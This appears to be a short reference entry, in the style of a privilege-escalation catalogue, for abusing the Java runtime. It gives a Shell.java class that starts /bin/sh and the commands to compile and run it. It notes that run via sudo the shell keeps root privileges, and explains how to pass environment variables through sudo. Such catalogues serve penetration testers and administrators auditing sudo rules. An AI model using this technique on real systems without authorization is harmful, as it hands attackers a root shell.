← cd ..

java

Shell

This executable can spawn an interactive system shell.
  1. Comment

    The Shell.class class file can be compiled offline, then uploaded to the target:

    cat >Shell.java <<EOFpublic class Shell {    public static void main(String[] args) throws Exception {        new ProcessBuilder("/bin/sh").inheritIO().start().waitFor();    }}EOFjavac Shell.java
    This function can be performed by any unprivileged user.
    java Shell
    This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
    RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
    java Shell